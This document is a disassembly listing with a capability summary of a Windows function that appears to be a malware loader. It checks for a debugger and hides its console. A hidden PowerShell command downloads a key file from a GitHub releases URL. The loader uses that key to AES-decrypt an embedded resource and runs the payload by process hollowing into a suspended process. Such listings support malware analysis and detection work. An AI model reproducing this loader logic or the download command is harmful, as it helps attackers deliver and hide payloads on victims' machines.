Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create process on windows
Create process suspended
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute command
Extract resource via kernel32 functions
Get common file path
Hash data via wincrypt
Initialize hashing via wincrypt
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x10b8]
mov eax, 0x11b8
call fcn.1400029d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1090], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400010cd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001700
mov rcx, rax
lea rdx, [0x1400018c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp + 0x180]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x1400016dc
mov qword [rsp + 0x11d0], rbx
lea r9, [rbp + 0x180]
mov qword [rsp + 0x11d8], rdi
lea r8, str._swindows_Private_key.txt
mov qword [rsp + 0x11b0], r13
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x11a8], r14
mov edx, 0x104
mov qword [rsp + 0x11e0], r12
call fcn.140001010
lea rax, [rbp + 0x70]
mov edx, 0x200
lea r9, str.https:__github.com_hatchling51_Windows_update_releases_download_Win_windows_Private_key.txt
mov qword [rsp + 0x20], rax
lea r8, str.powershell__WindowStyle_Hidden__Command__Invoke_WebRequest__Uri__s__OutFile__s__ErrorAction_Stop_____null_2_1
lea rcx, [rbp + 0x290]
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r13d, r13d
lea r8, [0x1400035d4]
mov rsi, 0xffffffffffffffff
mov dword [rsp + 0x28], r13d
mov r9d, esi
mov qword [rsp + 0x20], r13
xor edx, edx
xor ecx, ecx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovb rax, rsi
mov rcx, rax
call fcn.1400019a0
mov r9d, esi
mov dword [rsp + 0x28], ebx
lea r8, [0x1400035d4]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov r8, rdi
mov edx, 0x84
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140001225
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001225
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x140001225
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
jmp 0x14000122b
mov r14d, r13d
mov r12, r13
lea rdx, [0x1400035d8]
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x14000125b
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
jmp 0x1400013af
movzx eax, r13w
lea rdi, [rbp + 0x890]
mov ecx, 0x400
mov qword [rsp + 0x11a0], r15
rep stosw word [rdi], ax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetwc]
mov r15d, 0xffff
cmp ax, r15w
je 0x1400012b6
lea rdi, [rbp + 0x890]
nop dword [rax]
nop word [rax + rax]
mov word [rdi], ax
lea rdi, [rdi + 2]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetwc]
cmp ax, r15w
jne 0x1400012a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rbp + 0x890]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movaps xmm0, xmmword [str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider]
lea r8, [rbp]
movaps xmm1, xmmword [0x1400035f0]
lea rcx, [rsp + 0x70]
movaps xmmword [rbp], xmm0
mov edi, eax
movaps xmm0, xmmword [0x140003600]
mov r9d, 0x18
mov eax, dword [0x140003648]
xor edx, edx
movaps xmmword [rbp + 0x20], xmm0
movaps xmm0, xmmword [0x140003620]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x140003610]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x140003640]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm1, xmmword [0x140003630]
movsd qword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm1
mov dword [rbp + 0x68], eax
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001415
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001415
mov rcx, qword [rsp + 0x78]
lea r8d, [rdi + rdi]
xor r9d, r9d
lea rdx, [rbp + 0x890]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400013f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, esi
mov r15, qword [rsp + 0x11a0]
mov r12, qword [rsp + 0x11e0]
mov r13, qword [rsp + 0x11b0]
mov rdi, qword [rsp + 0x11d8]
mov rbx, qword [rsp + 0x11d0]
mov r14, qword [rsp + 0x11a8]
mov rcx, qword [rbp + 0x1090]
xor rcx, rsp
call fcn.140001980
add rsp, 0x11b8
pop rsi
pop rbp
ret
mov r8, qword [rsp + 0x78]
lea rax, [rbp - 0x80]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x14000143e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x70]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, edi
jmp 0x1400013a7
mov ecx, 0x140
call fcn.1400019a0
mov ecx, r14d
mov r15, rax
mov dword [rsp + 0x68], r13d
call fcn.1400019a0
mov r8d, r14d
mov rdx, r12
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memcpy
mov ebx, r13d
test r14d, r14d
je 0x1400014ef
nop dword [rax]
nop word [rax + rax]
mov eax, 0x140
mov r12d, ebx
mov edi, r14d
mov rcx, r15
sub edi, ebx
cmp edi, eax
cmova edi, eax
add r12, rsi
mov rdx, r12
mov r8d, edi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp - 0x80]
lea eax, [rdi + rbx]
cmp eax, r14d
mov dword [rsp + 0x68], edi
mov r8d, r13d
lea rax, [rsp + 0x68]
setae r8b
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400014ef
mov r8d, dword [rsp + 0x68]
mov rdx, r15
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x68]
cmp ebx, r14d
jb 0x140001480
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
cmp dword [rdi], 0x4550
jne 0x1400016d5
xorps xmm1, xmm1
lea rdx, [rbp + 0x490]
xor eax, eax
xorps xmm0, xmm0
mov r8d, 0x104
mov qword [rsp + 0x60], rax
xor ecx, ecx
mov qword [rbp - 0x10], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x490]
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400016d5
mov edx, 8
xor ecx, ecx
mov r9d, 4
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov r15, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400016d5
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov r12, rax
xor eax, eax
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
mov r14d, ecx
cmp cx, word [rdi + 6]
jae 0x1400016a2
mov ebx, ecx
movsxd rax, dword [rsi + 0x3c]
add rax, rbx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x50]
mov r8d, dword [rax + rsi + 0x11c]
mov edx, dword [rax + rsi + 0x114]
add r8, rsi
mov r9d, dword [rax + rsi + 0x118]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [r15 + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14
add rbx, 0x28
mov rcx, r13
cmp r14, rax
jb 0x140001634
mov eax, dword [rdi + 0x28]
mov rdx, r15
add rax, r12
mov qword [r15 + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x1400013a7
lea rcx, str.Error_getting_temp_path
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov eax, 1
jmp 0x1400013d7